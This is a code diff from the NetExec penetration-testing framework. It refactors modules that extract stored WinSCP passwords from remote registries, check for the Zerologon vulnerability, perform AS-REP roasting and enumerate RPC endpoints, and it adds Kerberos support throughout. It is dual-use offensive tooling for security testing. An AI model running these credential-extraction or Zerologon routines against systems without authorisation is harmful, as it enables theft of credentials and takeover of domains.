from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
KNOWN_PROTOCOLS = {
135: {"bindstr": r"ncacn_ip_tcp:%s[135]"},
@@ -47,14 +48,14 @@ class NXCModule:
context.log.debug(f"StringBinding {self.__stringbinding}")
rpctransport = transport.DCERPCTransportFactory(self.__stringbinding)
rpctransport.set_credentials(connection.username, connection.password, connection.domain, lmhash, nthash)
rpctransport.setRemoteHost(connection.host if not connection.kerberos else connection.hostname + "." + connection.domain)
rpctransport.setRemoteHost(connection.host)
rpctransport.set_dport(self.port)
if connection.kerberos:
rpctransport.set_kerberos(connection.kerberos, connection.kdcHost)
try:
entries = self.__fetch_list(rpctransport)
entries = self.__fetch_list(connection.kerberos, rpctransport)
except Exception as e:
error_text = f"Protocol failed: {e}"
context.log.critical(error_text)
@@ -112,8 +113,10 @@ class NXCModule:
else:
context.log.debug("[Spooler] No endpoints found")
def __fetch_list(self, rpctransport):
def __fetch_list(self, doKerberos, rpctransport):
dce = rpctransport.get_dce_rpc()
if doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
resp = epm.hept_lookup(None, dce=dce)
dce.disconnect()
+1 -1
View File
@@ -37,7 +37,6 @@ class NXCModule:
"""
self.log_file = None
self.desc_count = 0
self.context = context
self.account_names = set()
self.keywords = {"pass", "creds", "creden", "key", "secret", "default"}
@@ -71,6 +70,7 @@ class NXCModule:
On successful LDAP login we perform a search for all user objects that have a description.
Users can specify additional LDAP filters that are applied to the query.
"""
self.context = context
self.create_log_file(connection.conn.getRemoteHost(), datetime.now().strftime("%Y%m%d_%H%M%S"))
context.log.info(f"Starting LDAP search with search filter '{self.search_filter}'")
+55 -114
View File
@@ -51,25 +51,19 @@ class NXCModule:
context.log.highlight(f"UserName: {session[2]}")
context.log.highlight(f"Password: {session[3]}")
def user_object_to_name_mapper(self, context, connection, allUserObjects):
def user_object_to_name_mapper(self, context, connection, all_user_objects):
try:
remote_ops = RemoteOperations(connection.conn, False)
remote_ops = RemoteOperations(connection.conn, connection.kerberos)
remote_ops.enableRegistry()
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
reg_handle = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)["phKey"]
for userObject in allUserObjects:
ans = rrp.hBaseRegOpenKey(
remote_ops._RemoteOperations__rrp,
reg_handle,
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\" + userObject,
)
key_handle = ans["phkResult"]
for user_object in all_user_objects:
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"]
user_profile_path = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
self.userDict[userObject] = user_profile_path.split("\\")[-1]
self.userDict[user_object] = user_profile_path.split("\\")[-1]
finally:
remote_ops.finish()
@@ -121,22 +115,14 @@ class NXCModule:
return ~(((a << 4) + b) ^ self.PW_MAGIC) & 0xFF, pass_bytes
# ==================== Handle Registry ====================
def registry_session_extractor(self, context, connection, userObject, sessionName):
def registry_session_extractor(self, context, connection, user_object, sessionName):
"""Extract Session information from registry"""
try:
remote_ops = RemoteOperations(connection.conn, False)
remote_ops = RemoteOperations(connection.conn, connection.kerberos)
remote_ops.enableRegistry()
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(
remote_ops._RemoteOperations__rrp,
reg_handle,
userObject + "\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\" + sessionName,
)
key_handle = ans["phkResult"]
reg_handle = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, f"{user_object}\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\{sessionName}")["phkResult"]
host_name = unquote(rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "HostName")[1].split("\x00")[:-1][0])
user_name = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "UserName")[1].split("\x00")[:-1][0]
try:
@@ -162,18 +148,13 @@ class NXCModule:
user_objects = []
try:
remote_ops = RemoteOperations(connection.conn, False)
remote_ops = RemoteOperations(connection.conn, connection.kerberos)
remote_ops.enableRegistry()
# Enumerate all logged in and loaded Users on System
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")
key_handle = ans["phkResult"]
data = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)
users = data["lpcSubKeys"]
reg_handle = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")["phkResult"]
users = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
# Get User Names
user_names = [rrp.hBaseRegEnumKey(remote_ops._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)]
@@ -195,22 +176,13 @@ class NXCModule:
user_objects = []
try:
remote_ops = RemoteOperations(connection.conn, False)
remote_ops = RemoteOperations(connection.conn, connection.kerberos)
remote_ops.enableRegistry()
# Enumerate all Users on System
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(
remote_ops._RemoteOperations__rrp,
reg_handle,
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList",
)
key_handle = ans["phkResult"]
data = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)
users = data["lpcSubKeys"]
reg_handle = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList")["phkResult"]
users = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
# Get User Names
user_objects = [rrp.hBaseRegEnumKey(remote_ops._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)]
@@ -222,86 +194,65 @@ class NXCModule:
remote_ops.finish()
return user_objects
def load_missing_users(self, context, connection, unloadedUserObjects):
def load_missing_users(self, context, connection, unloaded_user_objects):
"""Extract Information for not logged in Users and then loads them into registry."""
try:
remote_ops = RemoteOperations(connection.conn, False)
remote_ops = RemoteOperations(connection.conn, connection.kerberos)
remote_ops.enableRegistry()
for userObject in unloadedUserObjects:
for user_object in unloaded_user_objects:
# Extract profile Path of NTUSER.DAT
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(
remote_ops._RemoteOperations__rrp,
reg_handle,
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\" + userObject,
)
key_handle = ans["phkResult"]
reg_handle = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"]
user_profile_path = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
# Load Profile
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
reg_handle = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")["phkResult"]
ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")
key_handle = ans["phkResult"]
context.log.debug("LOAD USER INTO REGISTRY: " + userObject)
rrp.hBaseRegLoadKey(
remote_ops._RemoteOperations__rrp,
key_handle,
userObject,
user_profile_path + "\\" + "NTUSER.DAT",
)
context.log.debug(f"LOAD USER INTO REGISTRY: {user_object}")
rrp.hBaseRegLoadKey(remote_ops._RemoteOperations__rrp, key_handle, user_object, f"{user_profile_path}\\NTUSER.DAT")
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
finally:
remote_ops.finish()
def unload_missing_users(self, context, connection, unloadedUserObjects):
"""If some User were not logged in at the beginning we unload them from registry. Don't leave clues behind..."""
def unload_missing_users(self, context, connection, unloaded_user_objects):
"""If some user were not logged in at the beginning we unload them from registry."""
try:
remote_ops = RemoteOperations(connection.conn, False)
remote_ops = RemoteOperations(connection.conn, connection.kerberos)
remote_ops.enableRegistry()
# Unload Profile
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
reg_handle = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")["phkResult"]
ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")
key_handle = ans["phkResult"]
for userObject in unloadedUserObjects:
context.log.debug("UNLOAD USER FROM REGISTRY: " + userObject)
for user_object in unloaded_user_objects:
context.log.debug("UNLOAD USER FROM REGISTRY: " + user_object)
try:
rrp.hBaseRegUnLoadKey(remote_ops._RemoteOperations__rrp, key_handle, userObject)
rrp.hBaseRegUnLoadKey(remote_ops._RemoteOperations__rrp, key_handle, user_object)
except Exception as e:
context.log.fail(f"Error unloading user {userObject} in registry: {e}")
context.log.fail(f"Error unloading user {user_object} in registry: {e}")
context.log.debug(traceback.format_exc())
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
finally:
remote_ops.finish()
def check_masterpassword_set(self, connection, userObject):
def check_masterpassword_set(self, context, connection, user_object):
use_master_password = False
try:
remote_ops = RemoteOperations(connection.conn, False)
remote_ops = RemoteOperations(connection.conn, connection.kerberos)
remote_ops.enableRegistry()
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(
remote_ops._RemoteOperations__rrp,
reg_handle,
userObject + "\\Software\\Martin Prikryl\\WinSCP 2\\Configuration\\Security",
)
key_handle = ans["phkResult"]
reg_handle = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, f"{user_object}\\Software\\Martin Prikryl\\WinSCP 2\\Configuration\\Security")["phkResult"]
use_master_password = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "UseMasterPassword")[1]
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
except DCERPCException as e:
if str(e).find("ERROR_FILE_NOT_FOUND"):
context.log.debug("Security configuration registry not found, no master passwords set at all.")
else:
context.log.exception(e)
finally:
remote_ops.finish()
return use_master_password
@@ -309,7 +260,7 @@ class NXCModule:
def registry_discover(self, context, connection):
context.log.display("Looking for WinSCP creds in Registry...")
try:
remote_ops = RemoteOperations(connection.conn, False)
remote_ops = RemoteOperations(connection.conn, connection.kerberos)
remote_ops.enableRegistry()
# Enumerate all Users on System
@@ -321,39 +272,29 @@ class NXCModule:
unloaded_user_objects = list(set(user_objects).symmetric_difference(set(all_user_objects)))
self.load_missing_users(context, connection, unloaded_user_objects)
# Retrieve how many sessions are stored in registry from each UserObject
# Retrieve how many sessions are stored in registry from each user_object
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
for userObject in all_user_objects:
for user_object in all_user_objects:
try:
ans = rrp.hBaseRegOpenKey(
remote_ops._RemoteOperations__rrp,
reg_handle,
userObject + "\\Software\\Martin Prikryl\\WinSCP 2\\Sessions",
)
key_handle = ans["phkResult"]
data = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)
sessions = data["lpcSubKeys"]
context.log.success(f'Found {sessions - 1} sessions for user "{self.userDict[userObject]}" in registry!')
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, f"{user_object}\\Software\\Martin Prikryl\\WinSCP 2\\Sessions")["phkResult"]
sessions = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
context.log.success(f'Found {sessions - 1} sessions for user "{self.userDict[user_object]}" in registry!')
# Get Session Names
session_names = [rrp.hBaseRegEnumKey(remote_ops._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(sessions)]
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
session_names.remove("Default%20Settings")
if self.check_masterpassword_set(connection, userObject):
if self.check_masterpassword_set(context, connection, user_object):
context.log.fail("MasterPassword set! Aborting extraction...")
continue
# Extract stored Session infos
for sessionName in session_names:
self.print_creds(
context,
self.registry_session_extractor(context, connection, userObject, sessionName),
)
self.print_creds(context, self.registry_session_extractor(context, connection, user_object, sessionName))
except DCERPCException as e:
if str(e).find("ERROR_FILE_NOT_FOUND"):
context.log.debug(f"No WinSCP config found in registry for user {userObject}")
context.log.debug(f"No WinSCP config found in registry for user {user_object}")
except Exception as e:
context.log.fail(f"Unexpected error: {e}")
context.log.debug(traceback.format_exc())
+6 -4
View File
@@ -26,7 +26,7 @@ class NXCModule:
def on_login(self, context, connection):
self.context = context
if self.perform_attack("\\\\" + connection.hostname, connection.host, connection.hostname):
if self.perform_attack("\\\\" + connection.hostname, connection.host, connection.hostname, connection.host):
self.context.log.highlight("VULNERABLE")
self.context.log.highlight("Next step: https://github.com/dirkjanm/CVE-2020-1472")
try:
@@ -43,13 +43,15 @@ class NXCModule:
except Exception:
self.context.log.debug("Error updating zerologon status in database")
def perform_attack(self, dc_handle, dc_ip, target_computer):
def perform_attack(self, dc_handle, dc_ip, target_computer, remoteHost):
# Keep authenticating until successful. Expected average number of attempts needed: 256.
self.context.log.debug("Performing authentication attempts...")
rpc_con = None
try:
binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp")
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
binding = epm.hept_map(remoteHost, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp")
rpc_con_ = transport.DCERPCTransportFactory(binding.replace(remoteHost, dc_ip))
rpc_con_.setRemoteHost(remoteHost)
rpc_con = rpc_con_.get_dce_rpc()
rpc_con.connect()
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
for _attempt in range(MAX_ATTEMPTS):
+15 -28
View File
@@ -139,7 +139,8 @@ def main():
nxc_logger.debug(f"Protocol DB Path: {protocol_db_path}")
protocol_object = getattr(p_loader.load_protocol(protocol_path), args.protocol)
nxc_logger.debug(f"Protocol Object: {protocol_object}")
nxc_logger.debug(f"Protocol Object: {protocol_object}, type: {type(protocol_object)}")
nxc_logger.debug(f"Protocol Object dir: {dir(protocol_object)}")
protocol_db_object = p_loader.load_protocol(protocol_db_path).database
nxc_logger.debug(f"Protocol DB Object: {protocol_db_object}")
@@ -172,13 +173,15 @@ def main():
nxc_logger.display(f"{module} module options:\n{modules[module]['options']}")
exit(0)
elif args.module:
nxc_logger.debug(f"Modules to be Loaded: {args.module}, {type(args.module)}")
# Check the modules for sanity before loading the protocol
nxc_logger.debug(f"Modules to be Loaded for sanity check: {args.module}, {type(args.module)}")
proto_module_paths = []
for m in args.module:
if m not in modules:
nxc_logger.error(f"Module not found: {m}")
exit(1)
nxc_logger.debug(f"Loading module {m} at path {modules[m]['path']}")
nxc_logger.debug(f"Loading module for sanity check {m} at path {modules[m]['path']}")
module = loader.init_module(modules[m]["path"])
if not module.opsec_safe:
@@ -186,22 +189,12 @@ def main():
nxc_logger.debug("ignore_opsec is set in the configuration, skipping prompt")
nxc_logger.display("Ignore OPSEC in configuration is set and OPSEC unsafe module loaded")
else:
ans = input(
highlight(
"[!] Module is not opsec safe, are you sure you want to run this? [Y/n] For global configuration, change ignore_opsec value to True on ~/nxc/nxc.conf",
"red",
)
)
ans = input(highlight("[!] Module is not opsec safe, are you sure you want to run this? [Y/n] For global configuration, change ignore_opsec value to True on ~/nxc/nxc.conf", "red"))
if ans.lower() not in ["y", "yes", ""]:
exit(1)
if not module.multiple_hosts and len(targets) > 1:
ans = input(
highlight(
"[!] Running this module on multiple hosts doesn't really make any sense, are you sure you want to continue? [Y/n] ",
"red",
)
)
ans = input(highlight("[!] Running this module on multiple hosts doesn't really make any sense, are you sure you want to continue? [Y/n] ", "red"))
if ans.lower() not in ["y", "yes", ""]:
exit(1)
@@ -212,24 +205,18 @@ def main():
if not args.server_port:
args.server_port = server_port_dict[args.server]
nxc_logger.debug(f"proto_object: {protocol_object}, type: {type(protocol_object)}")
nxc_logger.debug(f"proto object dir: {dir(protocol_object)}")
# get currently set modules, otherwise default to empty list
current_modules = getattr(protocol_object, "module", [])
current_modules.append(module)
protocol_object.module = current_modules
nxc_logger.debug(f"proto object module after adding: {protocol_object.module}")
# Add modules paths to the protocol object so it can load them itself
proto_module_paths.append(modules[m]["path"])
protocol_object.module_paths = proto_module_paths
if hasattr(args, "ntds") and args.ntds and not args.userntds:
ans = input(
highlight(
"[!] Dumping the ntds can crash the DC on Windows Server 2019. Use the option --user <user> to dump a specific user safely or the module -M ntdsutil [Y/n] ",
"red",
)
)
ans = input(highlight("[!] Dumping the ntds can crash the DC on Windows Server 2019. Use the option --user <user> to dump a specific user safely or the module -M ntdsutil [Y/n] ", "red"))
if ans.lower() not in ["y", "yes", ""]:
exit(1)
if args.jitter and len(targets) > 1:
nxc_logger.highlight(highlight("[!] Jitter is only throttling authentications per target!", "red"))
try:
asyncio.run(start_run(protocol_object, args, db, targets))
except KeyboardInterrupt:
+2 -2
View File
@@ -3,7 +3,7 @@ from sqlalchemy.dialects.sqlite import Insert
from sqlalchemy.orm import sessionmaker, scoped_session
from sqlalchemy import MetaData, Table, select, delete, func
from sqlalchemy.exc import (
# IllegalStateChangeError,
IllegalStateChangeError,
NoInspectionAvailable,
NoSuchTableError,
)
@@ -86,7 +86,7 @@ class database:
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
except Exception as e:
except IllegalStateChangeError as e:
nxc_logger.debug(f"Error while closing session db object: {e}")
def clear_database(self):
+35 -33
View File
@@ -166,7 +166,7 @@ class ldap(connection):
ldap_url = f"{proto}://{host}"
self.logger.info(f"Connecting to {ldap_url} with no baseDN")
try:
ldap_connection = ldap_impacket.LDAPConnection(ldap_url)
ldap_connection = ldap_impacket.LDAPConnection(ldap_url, dstIp=self.host)
if ldap_connection:
self.logger.debug(f"ldap_connection: {ldap_connection}")
except SysCallError as e:
@@ -213,6 +213,7 @@ class ldap(connection):
try:
string_binding = rf"ncacn_ip_tcp:{self.host}[135]"
transport = DCERPCTransportFactory(string_binding)
transport.setRemoteHost(self.host)
transport.set_connect_timeout(5)
dce = transport.get_dce_rpc()
if self.args.kerberos:
@@ -252,6 +253,7 @@ class ldap(connection):
def enum_host_info(self):
self.target, self.targetDomain, self.baseDN = self.get_ldap_info(self.host)
self.hostname = self.target
self.remoteName = self.target
self.domain = self.targetDomain
# smb no open, specify the domain
if not self.args.no_smb:
@@ -278,22 +280,30 @@ class ldap(connection):
self.domain = self.args.domain
if self.args.local_auth:
self.domain = self.hostname
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
try: # noqa: SIM105
# DC's seem to want us to logoff first, windows workstations sometimes reset the connection
self.conn.logoff()
except Exception:
pass
# Re-connect since we logged off
self.create_conn_obj()
if not self.kdcHost and self.domain:
result = self.resolver(self.domain)
self.kdcHost = result["host"] if result else None
self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}".replace(":", "-"))
def print_host_info(self):
self.logger.debug("Printing host info for LDAP")
if self.args.no_smb:
self.logger.extra["protocol"] = "LDAP"
self.logger.extra["port"] = "389"
self.logger.display(f"Connecting to LDAP {self.hostname}")
self.logger.extra["protocol"] = "LDAP" if self.port == "389" else "LDAPS"
self.logger.extra["port"] = self.port
self.logger.display(f'{self.baseDN} (Hostname: {self.hostname.split(".")[0]}) (domain: {self.domain})')
else:
self.logger.extra["protocol"] = "SMB" if not self.no_ntlm else "LDAP"
self.logger.extra["port"] = "445" if not self.no_ntlm else "389"
@@ -330,7 +340,7 @@ class ldap(connection):
if hash_tgt:
self.logger.highlight(f"{hash_tgt}")
with open(self.args.asreproast, "a+") as hash_asreproast:
hash_asreproast.write(hash_tgt + "\n")
hash_asreproast.write(f"{hash_tgt}\n")
return False
kerb_pass = next(s for s in [self.nthash, password, aesKey] if s) if not all(s == "" for s in [self.nthash, password, aesKey]) else ""
@@ -341,10 +351,9 @@ class ldap(connection):
self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
ldap_url = f"{proto}://{self.target}"
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} [1]")
self.ldapConnection = ldap_impacket.LDAPConnection(ldap_url, self.baseDN)
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [1]")
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host)
self.ldapConnection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
if self.username == "":
self.username = self.get_ldap_username()
@@ -387,10 +396,9 @@ class ldap(connection):
self.logger.extra["protocol"] = "LDAPS"
self.logger.extra["port"] = "636"
ldaps_url = f"ldaps://{self.target}"
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} [2]")
self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [2]")
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
self.ldapConnection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
if self.username == "":
self.username = self.get_ldap_username()
@@ -436,7 +444,7 @@ class ldap(connection):
if hash_tgt:
self.logger.highlight(f"{hash_tgt}")
with open(self.args.asreproast, "a+") as hash_asreproast:
hash_asreproast.write(hash_tgt + "\n")
hash_asreproast.write(f"{hash_tgt}\n")
return False
try:
@@ -445,8 +453,8 @@ class ldap(connection):
self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
ldap_url = f"{proto}://{self.target}"
self.logger.debug(f"Connecting to {ldap_url} - {self.baseDN} [3]")
self.ldapConnection = ldap_impacket.LDAPConnection(ldap_url, self.baseDN)
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [3]")
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host)
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.check_if_admin()
@@ -466,8 +474,8 @@ class ldap(connection):
self.logger.extra["protocol"] = "LDAPS"
self.logger.extra["port"] = "636"
ldaps_url = f"ldaps://{self.target}"
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} [4]")
self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [4]")
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.check_if_admin()
@@ -525,7 +533,7 @@ class ldap(connection):
if hash_tgt:
self.logger.highlight(f"{hash_tgt}")
with open(self.args.asreproast, "a+") as hash_asreproast:
hash_asreproast.write(hash_tgt + "\n")
hash_asreproast.write(f"{hash_tgt}\n")
return False
try:
@@ -534,8 +542,8 @@ class ldap(connection):
self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
ldaps_url = f"{proto}://{self.target}"
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN}")
self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}")
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.check_if_admin()
@@ -555,15 +563,9 @@ class ldap(connection):
self.logger.extra["protocol"] = "LDAPS"
self.logger.extra["port"] = "636"
ldaps_url = f"{proto}://{self.target}"
self.logger.debug(f"Connecting to {ldaps_url} - {self.baseDN}")
self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
self.ldapConnection.login(
self.username,
self.password,
self.domain,
self.lmhash,
self.nthash,
)
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}")
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.check_if_admin()
# Prepare success credential text
@@ -893,7 +895,7 @@ class ldap(connection):
"lastLogon",
]
resp = self.search(search_filter, attributes, 0)
if resp == []:
if resp is None:
self.logger.highlight("No entries found!")
elif resp:
answers = []
@@ -937,10 +939,10 @@ class ldap(connection):
if len(answers) > 0:
for user in answers:
hash_TGT = KerberosAttacks(self).get_tgt_asroast(user[0])
hash_TGT = KerberosAttacks(self).get_tgt_asroast(user[0])
self.logger.highlight(f"{hash_TGT}")
with open(self.args.asreproast, "a+") as hash_asreproast:
hash_asreproast.write(hash_TGT + "\n")
if hash_TGT:
self.logger.highlight(f"{hash_TGT}")
with open(self.args.asreproast, "a+") as hash_asreproast:
hash_asreproast.write(f"{hash_TGT}\n")
return True
else:
self.logger.highlight("No entries found!")
+2 -2
View File
@@ -2,7 +2,7 @@ from pathlib import Path
from sqlalchemy.orm import sessionmaker, scoped_session
from sqlalchemy import MetaData, Table
from sqlalchemy.exc import (
# IllegalStateChangeError,
IllegalStateChangeError,
NoInspectionAvailable,
NoSuchTableError,
)
@@ -66,7 +66,7 @@ class database:
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
except Exception as e:
except IllegalStateChangeError as e:
nxc_logger.debug(f"Error while closing session db object: {e}")
def clear_database(self):
+15 -13
View File
@@ -1,18 +1,18 @@
import random
from binascii import hexlify, unhexlify
from datetime import datetime, timedelta
import traceback
try:
# This is only available in python >= 3.11
# if we are in a lower version, we will use the deprecated utcnow() method
from datetime import UTC
utc_failed = False
except ImportError:
utc_failed = True
from os import getenv
from impacket.krb5 import constants
from impacket.krb5.asn1 import (
TGS_REP,
AS_REQ,
KERB_PA_PAC_REQUEST,
KRB_ERROR,
AS_REP,
seq_set,
seq_set_iter,
)
from impacket.krb5.asn1 import TGS_REP, AS_REQ, AS_REP, KERB_PA_PAC_REQUEST, KRB_ERROR, seq_set, seq_set_iter
from impacket.krb5.ccache import CCache
from impacket.krb5.kerberosv5 import sendReceive, KerberosError, getKerberosTGT
from impacket.krb5.types import KerberosTime, Principal
@@ -211,7 +211,8 @@ class KerberosAttacks:
return None
req_body["realm"] = domain
now = datetime.utcnow() + timedelta(days=1)
# When we drop python 3.10 support utcnow() can be removed, as it is deprecated
now = datetime.utcnow() + timedelta(days=1) if utc_failed else datetime.now(UTC) + timedelta(days=1)
req_body["till"] = KerberosTime.to_asn1(now)
req_body["rtime"] = KerberosTime.to_asn1(now)
req_body["nonce"] = random.getrandbits(31)
@@ -235,10 +236,11 @@ class KerberosAttacks:
message = encoder.encode(as_req)
r = sendReceive(message, domain, self.kdcHost)
elif e.getErrorCode() == constants.ErrorCodes.KDC_ERR_KEY_EXPIRED.value:
return "Password of user " + userName + " expired but user doesn't require pre-auth"
return f"Password of user {userName} expired but user doesn't require pre-auth"
else:
nxc_logger.debug(e)
return False
nxc_logger.fail(e)
nxc_logger.debug(traceback.format_exc())
return None
# This should be the PREAUTH_FAILED packet or the actual TGT if the target principal has the
# 'Do not require Kerberos preauthentication' set
+2 -2
View File
@@ -323,8 +323,8 @@ def laps_search(self, username, password, cred_type, domain):
password[0] if cred_type[0] == "plaintext" else "",
domain[0],
password[0] if cred_type[0] == "hash" else "",
self.args.kerberos,
self.args.kdcHost,
self.kerberos,
self.kdcHost,
339
)
try:
+1 -16
View File
@@ -32,19 +32,4 @@ def proto_args(parser, std_parser, module_parser):
bgroup.add_argument("-ns", "--nameserver", help="Custom DNS IP")
